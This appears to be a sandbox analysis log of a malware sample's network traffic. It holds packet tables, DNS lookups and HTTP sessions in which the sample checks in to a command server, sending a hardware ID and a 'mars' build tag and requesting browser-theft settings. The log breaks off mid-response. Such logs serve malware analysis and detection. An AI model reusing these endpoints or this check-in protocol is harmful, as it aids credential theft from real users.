Nov 27, 2024 16:35:01.794329882 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.794416904 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.794456959 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.794725895 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.795576096 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.795901060 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.795967102 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.797179937 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.797192097 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.797252893 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.798645973 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.798808098 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.895579100 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.895657063 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.895675898 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.895721912 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.896331072 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.896522045 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.896608114 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.897901058 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.897980928 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.898045063 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.898209095 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.899116039 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.899131060 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.899178028 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.900022030 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.900131941 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.900185108 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.903225899 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.903295040 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.903382063 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.903518915 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.903583050 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.903702974 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.903732061 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.903762102 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.911326885 CET	443	49913	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.926501989 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.926618099 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.926944017 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.926956892 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.927063942 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.928138018 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.928297997 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.928302050 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.928411007 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.929291964 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.929306030 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.929359913 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.929378033 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.930423975 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.930491924 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.930581093 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.930706024 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.931468010 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.931529999 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.931643009 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.931804895 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.932827950 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.932987928 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.933068991 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.933976889 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.933990955 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.934037924 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.934072971 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.935112953 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.935152054 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.935177088 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.935193062 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.936265945 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.936280966 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.936326027 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.936342001 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.936764956 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.936851978 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.936916113 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.939382076 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.939404011 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.939517021 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.940509081 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.940522909 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.940547943 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.940567017 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.940715075 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.940733910 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.940778017 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.941786051 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.941849947 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.942346096 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.942393064 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.942992926 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.943007946 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.943072081 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.944305897 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.944376945 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.944617033 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.944681883 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.945576906 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.945636988 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.946054935 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.946105957 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.947092056 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.947114944 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.947160006 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.947191000 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.948204041 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.948218107 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.948278904 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.949152946 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.949222088 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.949315071 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.949565887 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.950366020 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.950378895 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.950423956 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.950454950 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.951491117 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.951504946 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.951562881 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.952569962 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.952584028 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.952634096 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.953715086 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.953905106 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.953969002 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.954898119 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.954999924 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.955034971 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.955152988 CET	49907	80	192.168.2.7	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 27, 2024 16:34:27.408624887 CET	192.168.2.7	1.1.1.1	0x3986	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:27.409008026 CET	192.168.2.7	1.1.1.1	0xb7a3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:37.159316063 CET	192.168.2.7	1.1.1.1	0x859a	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:37.159578085 CET	192.168.2.7	1.1.1.1	0x355a	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:40.433803082 CET	192.168.2.7	1.1.1.1	0xbe81	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:40.433971882 CET	192.168.2.7	1.1.1.1	0x94f9	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 27, 2024 16:34:41.333847046 CET	192.168.2.7	1.1.1.1	0x4676	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:41.333997965 CET	192.168.2.7	1.1.1.1	0x865b	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:41.885879993 CET	192.168.2.7	1.1.1.1	0x1c5	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:41.886054039 CET	192.168.2.7	1.1.1.1	0xae5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:41.886778116 CET	192.168.2.7	1.1.1.1	0xf66	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:41.887185097 CET	192.168.2.7	1.1.1.1	0x9ff4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:41.902582884 CET	192.168.2.7	1.1.1.1	0xfec	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:41.902982950 CET	192.168.2.7	1.1.1.1	0x7400	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:43.152879000 CET	192.168.2.7	1.1.1.1	0xa8e7	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.153250933 CET	192.168.2.7	1.1.1.1	0x1f44	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:43.208585978 CET	192.168.2.7	1.1.1.1	0x2c4	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.209026098 CET	192.168.2.7	1.1.1.1	0xdc6	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:43.302414894 CET	192.168.2.7	1.1.1.1	0x12ce	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.302793026 CET	192.168.2.7	1.1.1.1	0xd8d9	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 27, 2024 16:34:43.519474983 CET	192.168.2.7	1.1.1.1	0xa2d5	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.519610882 CET	192.168.2.7	1.1.1.1	0x5b6b	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 27, 2024 16:36:13.797873974 CET	192.168.2.7	1.1.1.1	0x634b	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:36:13.797976017 CET	192.168.2.7	1.1.1.1	0x1fb6	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Nov 27, 2024 16:36:20.809391975 CET	192.168.2.7	1.1.1.1	0xffda	Standard query (0)	home.twentykm20sr.top	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:36:20.809432983 CET	192.168.2.7	1.1.1.1	0xfd97	Standard query (0)	home.twentykm20sr.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 16:34:27.548094988 CET	1.1.1.1	192.168.2.7	0x3986	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:27.548818111 CET	1.1.1.1	192.168.2.7	0xb7a3	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 27, 2024 16:34:37.297386885 CET	1.1.1.1	192.168.2.7	0x859a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:37.297656059 CET	1.1.1.1	192.168.2.7	0x355a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:37.869484901 CET	1.1.1.1	192.168.2.7	0xf794	No error (0)	b-0005.b-dc-msedge.net		13.107.9.158	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:38.232218981 CET	1.1.1.1	192.168.2.7	0x9d67	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:38.264008999 CET	1.1.1.1	192.168.2.7	0x1cba	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:38.264008999 CET	1.1.1.1	192.168.2.7	0x1cba	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:40.576004028 CET	1.1.1.1	192.168.2.7	0x94f9	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:40.673353910 CET	1.1.1.1	192.168.2.7	0xbe81	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:41.478749037 CET	1.1.1.1	192.168.2.7	0x865b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:41.581887960 CET	1.1.1.1	192.168.2.7	0x4676	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:41.581887960 CET	1.1.1.1	192.168.2.7	0x4676	No error (0)	googlehosted.l.googleusercontent.com		142.250.203.225	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:42.024369955 CET	1.1.1.1	192.168.2.7	0xae5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 16:34:42.024653912 CET	1.1.1.1	192.168.2.7	0x9ff4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 16:34:42.027080059 CET	1.1.1.1	192.168.2.7	0xf66	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:42.027080059 CET	1.1.1.1	192.168.2.7	0xf66	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:42.042896986 CET	1.1.1.1	192.168.2.7	0xfec	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:42.042896986 CET	1.1.1.1	192.168.2.7	0xfec	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:42.043122053 CET	1.1.1.1	192.168.2.7	0x7400	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 16:34:42.135070086 CET	1.1.1.1	192.168.2.7	0x1c5	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:42.135070086 CET	1.1.1.1	192.168.2.7	0x1c5	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.296083927 CET	1.1.1.1	192.168.2.7	0xa8e7	No error (0)	sb.scorecardresearch.com		18.161.69.117	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.296083927 CET	1.1.1.1	192.168.2.7	0xa8e7	No error (0)	sb.scorecardresearch.com		18.161.69.8	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.296083927 CET	1.1.1.1	192.168.2.7	0xa8e7	No error (0)	sb.scorecardresearch.com		18.161.69.30	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.296083927 CET	1.1.1.1	192.168.2.7	0xa8e7	No error (0)	sb.scorecardresearch.com		18.161.69.125	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:43.347414970 CET	1.1.1.1	192.168.2.7	0x2c4	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:43.440316916 CET	1.1.1.1	192.168.2.7	0xd8d9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:43.442234993 CET	1.1.1.1	192.168.2.7	0x12ce	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:43.446532965 CET	1.1.1.1	192.168.2.7	0xdc6	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:43.657562017 CET	1.1.1.1	192.168.2.7	0xa2d5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:43.657747030 CET	1.1.1.1	192.168.2.7	0x5b6b	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:45.863071918 CET	1.1.1.1	192.168.2.7	0x5c92	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:45.863071918 CET	1.1.1.1	192.168.2.7	0x5c92	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:34:46.004153013 CET	1.1.1.1	192.168.2.7	0x366f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:34:46.581096888 CET	1.1.1.1	192.168.2.7	0xa68	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:36:13.941200972 CET	1.1.1.1	192.168.2.7	0x634b	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:36:13.941200972 CET	1.1.1.1	192.168.2.7	0x634b	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:36:21.466057062 CET	1.1.1.1	192.168.2.7	0xffda	No error (0)	home.twentykm20sr.top		34.118.84.150	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	185.215.113.206	80	2708	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:34:14.862502098 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:34:16.356502056 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:16.367353916 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 41 37 38 45 33 36 30 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="hwid"E4A78E3609012263180025------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="build"mars------KKKJEBAAECBGDHIECAKJ--
Nov 27, 2024 16:34:16.869905949 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 46 6b 4e 7a 68 6d 4e 44 5a 69 4e 6d 59 30 4f 44 4e 6c 4d 44 59 78 5a 6d 59 32 4d 47 4e 6a 5a 54 56 6b 5a 6a 4a 6a 59 32 4d 79 4d 44 6c 6b 4f 57 52 68 59 54 6c 6d 59 7a 4a 6c 4f 47 59 77 5a 54 5a 6a 4e 57 5a 6b 4d 6a 4a 68 59 7a 5a 6a 5a 6d 46 6c 5a 6a 42 6b 4d 54 4e 69 59 54 41 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YmFkNzhmNDZiNmY0ODNlMDYxZmY2MGNjZTVkZjJjY2MyMDlkOWRhYTlmYzJlOGYwZTZjNWZkMjJhYzZjZmFlZjBkMTNiYTA5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 27, 2024 16:34:16.882473946 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="message"browsers------BKFHCGIDBAAFHIDHDAAE--
Nov 27, 2024 16:34:17.381973982 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 